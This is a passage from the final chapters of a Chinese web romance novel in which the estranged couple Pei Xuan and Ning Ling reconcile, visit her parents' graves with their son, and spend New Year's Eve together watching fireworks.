门外的林韦德看着并肩而走,笑得如浴春风的裴铉,顿时心里纳闷。 宁泠不是嫁给白洲言为妻了吗?侯爷为何心情愉悦,面带喜色? 依她的性格必不肯再给侯爷机会。 林韦德默默跟上两人身后,眼见两人去了一家首饰店,心里更好奇了。 首饰店的店主见客人进来,热情地对宁泠说道:“姑娘想买什么饰品?” 宁泠看着裴铉,又看着店主,难以开口。 裴铉倒是面上坦然,语气从容道:“是我要一对耳珰,你可有推荐的?” 店主先是神情一愣,又继续问道:“公子想给姑娘买吗?姑娘喜欢什么材质款式啊,本店应有尽有。” 宁泠忽地有些后悔来这里。 “不是,是我佩戴。”裴铉淡定回话。 店主目瞪口呆,嘴巴张大恨不得能塞下去一个拳头,震惊的眼睛看着裴铉。 他干这行这么多年,还是第一次见男人戴耳珰的,还是个如此俊美的男人。 宁泠尴尬地脸红,恨不得脑袋埋进地里。 “店里没有我能用的?”裴铉挑眉问道,丝毫不在意别人眼光。 店主赶紧回话:“有的,有的,公子喜欢什么款式?” 裴铉嘴角上扬看着旁边的宁泠,语气暧昧逗她:“夫人,喜欢什么款式,我就佩戴什么款式。一切以讨夫人欢心为重。” 店主的视线自然又落到了宁泠身上。 女子一双水灵灵的大眼睛,肌肤如玉,似亭亭玉立的荷花般,洁白无暇。 男人长得高大英俊,眉眼深邃,气质矜贵,果真是一对佳人。 对上店主询问的目光,宁泠支支吾吾:“不、不知道。” 她又抱起石头砸自己脚了,她欲难堪为难裴铉,没想到他的脸皮比城墙还厚。 依她之见,如果城墙守卫和裴铉的脸皮一样,将士们都不用千辛万苦戍守边关,小心戒备了,毕竟他脸厚得刀枪不入,水火不侵。 裴铉眼里的笑意都要溢出来,凑近说道:“夫人带我来的这家店,不可能什么都不知道呀。” 他惬意地欣赏宁泠的娇羞,玉白的脖颈都染了一层樱粉色。 宁泠恨不能像鸵鸟般将脑袋埋进地里,她催促道:“要买就买,不买就离开!” “好。”裴铉洒脱道:“买。” 再逗下去,她可要生气不理人了。 店主看看两人,先将他们领至摆放耳珰的地方:“两位看看有喜欢的吗?” 宁泠粗略扫了一眼,耳珰颜色各异,材料不同。 “有喜欢的没?”裴铉轻笑,赖皮狗似地凑上来。 宁泠偷偷瞪他一眼,示意他闭嘴。 裴铉想了想宁泠的性格,她不喜高奢张扬的东西。 “就这对玉石耳珰。”他修长的手指指着一对光泽温润的耳珰,又转头问道:“夫人满意不?” 宁泠不想再搭理他,裴铉径直去结了账,与宁泠一起出了店铺。 明明买耳珰佩戴的人是他,可尴尬的却是她。 回来香铺后,宁泠将触感细腻的耳珰放在旁边,取过银针继续炙烤。 林韦德刚才目睹了全部过程,瞠目结舌,守在外面等他们。 银针温热后,宁泠一手捏着银针,一手捏着裴铉的耳垂。 他皮肤细腻,触感温热,宁泠一触摸到他的皮肤,脸飞速变红了。 裴铉饶有兴趣地看着这一幕,忍不住打趣:“你给我穿耳,害羞害怕什么?” 宁泠不回话,一鼓作气,拿着银针狠狠戳了下去。 殷红的鲜血缓缓流出,宁泠有点紧张不安,手足无措。 “没事,不疼。”裴铉感觉到她的情绪,温声安慰,“扎耳洞又死不了人,你放心。” 见他丝毫不痛,还有空调侃打趣她,宁泠的心情放松,给他带上来耳珰,然后用手帕给他擦干净血迹。 她擦拭的力气不重,耳垂有丝丝痒意。 裴铉的眼眸加深,口渴地舔了舔嘴唇。 弄好一个后,宁泠与他离开些距离,细细打量他。 玉质的耳珰,颜色温和,为他那张极具有攻击性的俊脸减去了几分危险,多了几分柔和。 还差另外一侧,宁泠将银针上血迹擦干净,继续在高温下炙烤。 看着裴铉低垂着眼眸,老实坐在木椅上等她。 银针温度合适后,宁泠同样捏着他柔软的耳垂然后用力穿过。 “嘶。”裴铉轻呼出声,语气幽幽指控,“谋杀亲夫。” 宁泠的脸颊靠近,温柔的呼吸喷洒在他的皮肤上,裴铉身形轻颤了下。 她认真看了下耳垂,又出血了。裴铉为她穿过,只有一只耳朵出过一次血。 难不成她的手法真这么差? “疼。”裴铉说得委屈,抬起眼眸对视她,“可以吻你吗?亲亲就不痛了。” 他这神情拿捏地十分有度,像是和宁泽铭学得。 “活该,本就是让你痛,我才能痛快报仇。”宁泠冷哼一声,并不中招。 裴铉意味深长眯眼:“那回去泽铭问起耳珰,我怎么回答?” 他暗藏要挟,想让宁泠给封口费。 “呵,诡计多端的老男人。”宁泠利索地上了耳珰,神情不屑。 他不会蠢到去告诉宁泽铭前尘往事,这个要挟对她毫无作用。 裴铉上扬的嘴角垂下,眉目沉思。 老男人?他是比宁泠大了五岁,可不至于就是老了吧? 裴铉带了耳珰更有男女莫辨的美,却眉头紧蹙,显然很是在意那句话。 宁泠十分满意。 裴铉和宁泠一起去了码头,林韦德心惊肉跳。 侯爷又开始强权压人了?可看这场景又不像,不过侯爷一个男人好端端怎么带了耳珰,怪怪的。 站在甲板上的宁泠依依不舍地看着香铺的方向,毕竟是她几年的心血。 “回盛安城再开一家。”裴铉和宁泠商量,“我白日要忙着公务,泽铭也要上课,你一个人不爱去赴宴,索性在盛安城开一家香铺,不然日日无事可做也无聊。” 他心知肚明她回盛安城是为了孩子,可孩子有腿会跑,而且大了说不定什么时候出远门游学,他没有本事拴住宁泠的心。 但再开一间香铺,她有了自己灌注心血的事业,她对盛安城的感情会加深。 宁泠没有出声,似是在思考。 “放心,我不会命人去帮你,只要你人健健康康的,生意上的事务我一概不插手。”裴铉仿佛有读心术一般,轻而易举摸透了她的心思。 宁泠暂时没回答,一个人回了她的房间。 她走了,林韦德小心翼翼问道:“夫人这是回心转意了?” 那白洲言怎么办? “她又骗我呢。”裴铉宠溺笑笑,“用婚事试我真心。” 如果能眼睁睁看着她嫁人不动人,那以后必定能信守诺言放她离 开。 宁泠很聪明,她次次将他玩弄于手掌中。 林韦德脸上浮现出笑意,无论如何夫人愿意回去,小世子和侯爷都会很高兴。 几日后,裴铉一行人回了侯府。 正在吃饭的宁泽铭看着宁泠来傻眼了,过了会才呆呆问道:“娘,你怎么回来了?” 似乎幸福突然降临的瞬间,人的心里却充满了顾虑。 “娘,当然来陪你啊。”宁泠笑着抱住他,“娘怎么可能一直让你独自在这。” 母子分离一年多已是足够,要是终生岂不太遗憾。 “娘亲,你是原谅爹了吗?”宁泽铭听出了她的意思,不回江南了。 宁泠轻轻嗯了一声:“以后都陪你。” 宁泽铭兴高采烈,急忙与裴铉分享这个重大的好消息,视线倏地被那对夺目的耳珰吸引。 “爹,你怎么带耳珰啊?”宁泽铭眼神不解,又看看宁泠,“娘都没有。” 在他的所见所闻里,只有女子带耳珰的,没有见过男人佩戴。 虽然知道裴铉不会说出事情,可宁泠还是提了一口气。 “唉,你娘喜欢这对耳珰,自己却没有耳眼又舍不得。”裴铉眼神幽幽看着宁泠,“只有爹戴让你娘过过眼瘾了,你说她是不是该奖励一下我?” 宁泽铭看了看两人,坚定站在娘亲这边:“爹爹哄娘亲开心是应该的。” 他这话一下子逗乐了两人。 “好了,吃饭吧。”宁泠将他签回桌面,冬日里屋里虽有炭火,但也冷得快。 饭后,宁泠陪着宁泽铭读书习字,享受这难得的时刻,裴铉也在一旁陪着,他日思夜想,苦等多年的美梦终于实现了。 到了晚饭后,裴铉对宁泠说道:“舟车劳累几日了,晚上早点休息吧。” “泽铭,今晚娘陪你睡好不好?”宁泠对宁泽铭说道。 宁泽铭怀疑地看着两人:“娘,你们真的和好了吗?” 第75章 第75章【VIP】 “怎么问这个?”裴铉摸摸宁泽铭的脑袋。 宁泽铭想了想说:“说不定你们是为了哄我才这么说的。” 别的小朋友说他们爹娘都是一起睡得,可娘亲好像还是不愿意和爹一起,多半是为了让他开心哄人的。 裴铉笑笑:“你娘不会骗你。” 她只会哄骗捉弄他,玩弄他的真心。但她肯对他笑对他说话,无论是哄骗还是真心都好。 宁泽铭看看宁泠:“那娘亲还是陪爹爹好了,我大了还不敢一个人睡觉,他们知道了要嘲笑我。” 裴铉的眼眸像是狗见了肉骨头似亮晶晶,嘴角上扬,很满意宁泽铭的话。 宁泠笑得勉强,却又不好拒了:“好吧。” 以前宁泽铭和裴铉一起睡在主院,后来他大了挪他去了厢房处。两人守在床榻上哄着宁泽铭睡了,一起离开房间。 宁泠径直朝着偏房回屋,却被裴铉长腿一迈走在她前面,人高马大地堵住前路。 “干什么?”宁泠不耐烦问道。 裴铉俯身与她视线齐平说道:“你想一个人睡偏房?” 他高大的身形将她的身躯完全笼罩,带着危险的侵略感。 “对。”宁泠退后一步,远离他身旁,“不然呢?” “你拿定的注意,我自然不敢置喙。”裴铉无赖笑笑,“可泽铭不是好糊弄的,上次他大半夜起来没找到你,天亮了就差撒泼打滚,硬是求我带他去你。今夜他又找你怎么办?” 他说得上次,应该就是她住宅子的最后一夜。 宁泠有点犯难,宁泽铭刚才吞吞吐吐的模样,小脑袋瓜里不知装多少东西。 或许是他一直由单亲抚养,总是想太多了。 像每次眼巴巴希望她留下,又不会直说,担心她左右为难。 从小多忧多虑不是什么好事。 宁泠调转了脚步,睡哪不重要。 她去了争晖院主屋,裴铉笑得肆意爽朗,脚步都透着轻快。 宁泠站在床榻边打量,看着裴铉将房门关好,语气冷冰冰道:“房间里除了床,你自己选择睡哪。” “冬日里天寒地冻,不睡床榻容易生病。”裴铉试图再挣扎下,“你不喜我接触你,我们分被窝睡就是了。” 宁泠不为所动:“你怕冷,你睡床也成。” 说完话后,她打开柜子拿出被子,打算去平时小憩的软榻睡。 “你睡床。”裴铉连忙抢过被子,“我睡软榻。” 他早知她的打算,刚才不过是死皮赖脸磨磨她,有枣没枣先打一杆子,说不定她心软答应了。 裴铉特意将软榻搬来床榻附近,对上宁泠质问的眼神:“万一泽铭忽然跑进来,我又离你太远,岂不是一抓一个准。” 宁泠没说话了,反正不是一张床,他爱睡哪睡哪。 见她躺好后,裴铉主动去熄了灯,他有心想与宁泠聊几句。 回来后她一门心思扑在孩子身上,他们还没好好说过话,他正欲开口听见她悠长的呼吸声,人已经睡着。 裴铉无奈苦笑,来日方长,这样已经很好了。 舟车劳累,宁泠睡得很沉,和她共处一室,裴铉也睡得香沉。 外面忽地传来轻微敲门声:“爹娘,你们还没起?” 是宁泽铭的声音,宁泠和裴铉一起猛地睁开眼,外面天色已经大亮了。 裴铉率先反应过来,将软榻移开接着翻身上床。 宁泠皱眉看着他,裴铉附在她耳畔低语:“我不上来,他看见了又要多问。” “爹娘。”宁泽铭拔高音量。 裴铉懒懒出声:“进来吧。” 宁泽铭兴冲冲推开门跑了进来,他已经洗漱穿戴整齐,背着小手装模作样地围着两人前转。 他神情骄傲:“我可是一大早就起床了,你们大人还赖账。” 裴铉自然地搂住宁泠的细腰:“你娘坐了几天船回来,你都不心疼心疼她。” 宁泠的身形发僵,可也不好当众推开他,只能默默忍受他温热的手掌贴在她的腹部。 爹这话有点挑拨离间,宁泽铭连忙说道:“我才不是这个意思。” “你先出去,我们马上起来了。”宁泠哄道。 宁泽铭乖乖点头走了出去,他出去后宁泠对上裴铉的眼眸,面露嫌弃,真是见针插缝占便宜。催促之意不言而明。 裴铉扬眉一笑,将手收了回来,没有一点心虚知错。 三人一起吃早饭时,裴铉主动提议道:“宁泠还未带宁泽铭回过原定山吧,不如我们最近一起回去祭拜上坟。” 这些年他一直命人守着,没有得到一点消息。 宁泠闻言有点心动,孩子这么大了还不没见过外祖他们,是她不孝。 “原定山?”宁泽铭好奇问道。 裴铉给他添了些粥:“对,你的外祖父外祖母埋在原定山,你该去祭拜他们。” 宁泠不肯为他妻,可自古只有带着夫君孩子去祭拜的,他好歹要为自己挣点名分。 “好呀,好呀,咱们一家三口一起。”宁泽铭开心地手舞足蹈。 宁泠温柔笑笑:“先用饭。” 几日后几人出发乘船去浮白州,看着眼前熟悉的景色。 回想着曾经的一幕幕,宁泠顿觉恍若隔世。 到了浮白州再坐马车去原定山。 上次已经上了山,却没有机会去父母坟前拜一拜。 如今的行程平稳顺利,没有一点波澜曲折。 山上猛烈的冷风直吹,但是众人爬山行走,浑身都热乎乎。 离坟墓越来越近时,宁泠有点心慌,宁泽铭和裴铉的手一左一右紧紧牵住她。 坟墓周围清秀葱茏,明显有人用心打理过。 宁泠的眼泪毫无征兆地从眼眶里滴下,心里酸涩难言。 八年的时间了,她和父母再次相见,却是隔着冰凉的坟墓。 她已身为人母了,宁泠哑着嗓子:“泽铭,给外祖父,外祖母问好。” “外祖父,外祖母好,我是宁泽铭,今年六岁了。”宁泽铭的另外一只手安抚着宁泠的手背,“娘你别哭了,外祖父外祖母看了要心疼。” 宁泠听了连忙抹抹眼泪,她这样若是父母看见了不知有多着急,阴阳相隔无能为力。人人都说对家里报喜不报忧,她也要懂事了。 “岳父岳母,我是宁泠的夫君。”裴铉跪在坟前忏悔,“以前我年少无知做了许多错事,幸好宁泠心善愿意原谅我,我以后一定好好对他们母子。” 三人齐齐跪在坟前,烧着纸钱。 临到离别之际,宁泠低低出声:“爹娘你们别担心,我现在过得很好。” 下山的时候宁泠的情绪低落,宁泽铭和她说了好几次话,她都反应淡淡。 冬日里许多花草枯萎,但有少许不知名的顽强小花。 花朵是鲜艳明媚的花色,花朵小小的,却很醒目。 裴铉一边走,一边再随机采摘了有韧劲的柳条,他撇去发黄的树叶,只留下青翠的嫩叶,上面再点缀些明艳的小朵,灿烂的黄色为主,洁白无瑕的小花为辅。 编制好后趁宁泠不注意,直接戴在她头上。 漂亮的花环衬得她如同山野间的仙女,不染纤尘,明艳动人。 “哇,好漂亮啊,娘真美。”宁泽铭鼓掌赞美。 宁泠脸红了,将花环取下来观察,郁郁葱葱上的柳叶上点缀着许多新鲜漂亮的小花,五颜六色十分好看。 ” 娘,带上嘛,带上好漂亮啊。“宁泽铭鼓励道。 裴铉接过去:“我帮你戴上。” 宁泠无声同意了,看见父子俩眼眸里盛满赞美和惊艳,她的心情好了些,嘴角轻扬。 他们一行人,在浮白州等地逗留游玩了几日才回去。 快要过年时,三人才出发回盛安城。 宫宴是少不了的,今年三人终于团聚一起去参加宴会了。 宴会上觥筹交盏,歌舞升平,烛火高燃,亮如白昼。 见裴铉携带女子赴宴,众人的视线紧紧跟随。 宴会上推杯换盏,几位衣着华丽,打扮精致的贵妇向宁泠走来 “晋阳侯夫人深居简出,今日咱们终于见到了。”大家轮流自我介绍向宁泠敬酒。 裴铉想替他挡了,可宁泠却暗暗摇头。 宁泠举起杯盏,一一问好饮完杯中酒。 宴会举行到深夜才结束,宁泠有些头脑发昏,脚步虚浮了。 宫宴上的酒劲不小,她又不胜酒力,有些醉了。 裴铉想抱起她,宁泠不肯怕别人看见,他只好扶着她的肩膀。 “喝不下了还逞强。”裴铉恶胆横生,捏捏他朝思暮想的桃腮。 宁泠手上没力,没打掉他烦人的手:“泽铭呢,你别把他忘了。” “放心吧,他早回马车上了,里面有炭火不会着凉。”裴铉让她安心。 宁泠点点头,宴会上免不了人情往来,其实她们没有逼她喝,只是她也没想到自己酒量那么差。 上了马车后,里面暖洋洋的,宁泠昏昏欲睡。 何时回府都不知道,还是裴铉将她忽然放在床榻上才惊醒。 对上她警惕防备的眼神,裴铉好笑道:“放心,没你允许不会对你做什么,你既然醒了先去沐浴吧,等会还要陪泽铭看烟花。” “好。”宁泠也觉喝了酒发了汗,身上黏糊糊不舒服。 她醉得不厉害,睡了一觉发了汗,酒劲消散了些。 她欲去沐浴,裴铉却跟在她身后。 宁泠回头眼神询问,裴铉道:“醉酒的人不能独自沐浴,万一你在里面睡着怎么办?或者忽然晕了?” 宁泠以前听白洲言提起过,醉酒高热的人最好都不要独自沐浴。 但看着裴铉如狼似虎的眼眸,她不放心。 “我不洗了。”宁泠坚决道。 裴铉笑笑:“等会你一身酒味抱着孩子也成。” 宁泠绷着脸,神情不开心。 “我站在屏风外守着你总成了吧。”裴铉提出解决办法。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 第76章【正文完】 第76章 第76章正文完 宁泠点点头转身去屏风后沐浴,白雾烟雾,她缓缓解开腰带。 裴铉的视线鹰隼般锋利,似要穿破那层薄薄的屏风。 宁泠咬着牙踏入了木桶,哗啦哗啦的水流声响起,搅乱了人的心神。 裴铉看着屏风上曼妙纤细的身影,带着流淌的水声,血液翻腾,他轻咬舌尖才压下那阵燥热。 因着他守在外面,宁泠不敢沐浴太久,不然他又可以借口时间太长进来检查。 她草草系好衣带,用帕子抱湿发,带着清香走了出来。 裴铉笑得荡漾,宁泠低下头无视他炙热的眼神。 “去让婆子将泽铭带回来。”宁泠说道。 一小会功夫,宁泽铭高高兴兴跑了过来:“娘亲,你可回来了。” 宁泠坐在软榻前,裴铉站在她身后,耐心地用干帕子绞干头发,笑骂道:“小没良心的,只惦记你娘,怎么不问问你爹呢?” 宁泽铭撇撇嘴,爹有什么好担心。 宁泠看着两人斗嘴,不觉吵闹,甚至于有点温暖。 砰砰砰的巨响,灿烂的烟花瞬间划破漆黑的夜空。 “娘,开始放烟花了。”宁泽铭激动地小跑到窗口处,探出脑袋看烟花。 宁泠的软榻紧挨着另外一边窗柩,她半躺在软榻上,一边享受着裴铉绞发按摩,一边惬意地看着璀璨的烟花。 五颜六色的烟花在天空散开,如同一朵在黑幕里绽放的绝美花朵。 烟火散落似万千流星划过黑夜。 燃放烟花约莫持续了一炷香功夫,宁泽铭和宁泠一直聚精会神看着。 而裴铉则眼神专注看着他们。 黑暗继续笼罩夜空,宁泽铭嘟嘴:“没有了。” “你该睡觉了。”裴铉对宁泽铭说道。 以前这个时辰他早该睡觉了,但今日为了看烟花,特意允许他晚睡会。 宁泽铭点点头,和两人打了招呼后离开。 宁泽铭走后,裴铉跑来一个大木盒子,将它搁在宁泠面前打开它。 里面都是些房契地契,还有许多府里的对牌等物。 “上次我给了你全部家当的一半。”裴铉指着东西,“现在这儿是剩下一半,原本是为泽铭准备的,现在交给你一并由你处置。” “不用。”宁泠拒绝。 裴铉继续道:“我知道你不愿接受,可我一个男人家花钱大手大脚,我留着怕是以后泽铭长大的聘礼都凑不齐。” 宁泠看了他一眼,这么大的人还能不害臊说出这种话。 “年后租赁买卖铺子的多,你不是想开香铺吗?”裴铉拿起桌子上的对牌放在手心把玩,“庶务费心,你不愿我来掌管就是。” 开香铺租店面人力财力样样费钱,虽知她多半不会接受这些,可多些家产傍身,裴铉也心安些。 宁泠默了一息,起身从他手心拿过对牌:“这些我都收下了。” 既然决定回来,拿了钱财就该承担应尽的责任。 她的手小小的,拿对牌时两人的肌肤不可避免地接触,裴铉轻笑一声握紧了她的手,将她整个手掌牢牢包裹在温暖里。 室内烧了木炭,时不时传来木头轻微的炸响声。 安静温暖的气氛里,不知何时添了几分暧昧。 见她没有面露不悦,裴铉缓缓走进将她拥抱在怀里。 他低头将头颅紧靠着她纤细的脖颈,呼吸的热气时不时喷洒在她肌肤上。 裴铉的手将她腰肢环住,将她整个人都笼罩在他身影下,低头与她对视。 宁泠有些局促不安,想要催他松手。 忽然外面又传来砰砰砰的巨响,接着灿烂绚丽的烟花绽放在黑夜。 宁泠本能地转过脑袋去看窗外,因着两人之间距离相近,她一时没注意,她柔软的唇擦过他的嘴唇,似有似无。 “宁泠喜欢看烟花,我特意命人再的。”裴铉自得笑笑,指了指嘴唇,“刚才是给我的奖赏吗?” 又开始不正经了,宁泠的脸红了扭头继续看烟花。 他却低下头缓缓接近,暧昧舔了舔嘴唇:“光这点奖励可不够。” 灿烂耀眼的烟花照亮地面,他的面容英俊,五官立体,轮廓分明。 对上他无可挑剔的脸,以及他身后漂亮的烟花。 宁泠的心跳快了一瞬。 “宁泠在紧张什么?”裴铉的笑带着蛊惑。 她全身被他拥入怀里,一点的异常都能马上被他敏锐发现。 宁泠否认:“你在说什么?” 裴铉却不好糊弄,牵起她的手按在她胸口:“你自己感受下,它跳得有多快。” 宁泠的脸烧了起来,她的心跳更快了些,室内的炭火过多热乎乎的。 清晰急促的跳动,让她无话可辩,连覆在她手掌上的裴铉都能明显察觉。 裴铉轻轻在她额头一吻:“它是因为我,对吧?” 话虽是个问句,但他语气肯定。 外面的响声嘈杂,他的话却清楚,一字不落入她的耳里。 宁泠羞红 了脸不肯承认,佯装镇定看向外面。 他不依不饶,从额头一一吻了下来,眼眸,鼻尖,脸颊,耳垂,密密麻麻却故意避开嘴唇。 宁泠想往后躲,被他禁锢腰肢,动弹不得。 “说不定等会泽铭会跑过来。”宁泠水灵灵的眼眸瞪他一眼威胁道。 裴铉一边吻着,一边漫不经心回答:“他早睡了。” 宁泠被他吻得脸痒,躲藏不得,干脆直接一口咬住了他的嘴,眼神警告他。 裴铉的眼眸盛满笑意,满意地看着她这番动作。 宁泠才恍然大悟,他就是故意诱她上钩。 她松嘴欲逃,他的吻汹涌澎湃地落下来。 宁泠被吻地喘不过来,手指攀上他的衣襟,裴铉还有闲心手把手带她圈上自己的腰。 感觉她温柔的拥抱后,他给了她喘息的机会。 宁泠脸颊通红,一双眼眸水汪汪,抬眸看着裴铉无声控诉他。 裴铉笑着哄她:“下次我温柔些。” 宁泠恼怒嗔他一眼,欲开口告诉他没有下次。 他山一般巍峨的身躯压了下来,温柔细致的吻,带着安慰讨好的意味。 宁泠好了些,却依旧应付地吃力。 头脑缺氧,头晕脚软。 外面的烟花还在持续,砰砰砰的巨响充斥着房间。 宁泠蹙了下眉头,裴铉吻吻她眉心:“放心,没人。” 宁泠换了合适的方向看烟花,手用力紧扶着窗柩处,面朝天空欣赏着绝佳的烟火。 烟花继续在她脑海里绽放,转瞬即逝又不知疲倦。 裴铉看了眼窗外的烟花,再看看迷人娇俏的妻子,她比烟花诱人得多。 砰砰砰的烟花烟花不知燃放了多久,猛烈的声响回荡在屋内。 裴铉心满意足地抱着宁泠,怜惜地吻着她额间的热汗。 宁泠忽地紧张醒来,神色不自然:“你去让灶房熬药。” 熬什么药不言而明,但她羞于开口。 “不用。”裴铉不嫌汗地蹭蹭她额头。 看着她紧张又生气的模样,才不逗了解释道:“当年你坠崖后,我就服了药,此生再无子嗣了。” 他当年一意孤行,强迫她怀孕却连护她周全都做不到。 他发誓无论以后能不能找到她,此生都不配拥有孩子了。 没想到,老天还是善待他,一切给了他最好的结果。 有宁泠有孩子,一家团聚。 七年了,他终于得偿所愿。 七年了,这是他们过得第一个年,但以后的每一年他们都会携手与共。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&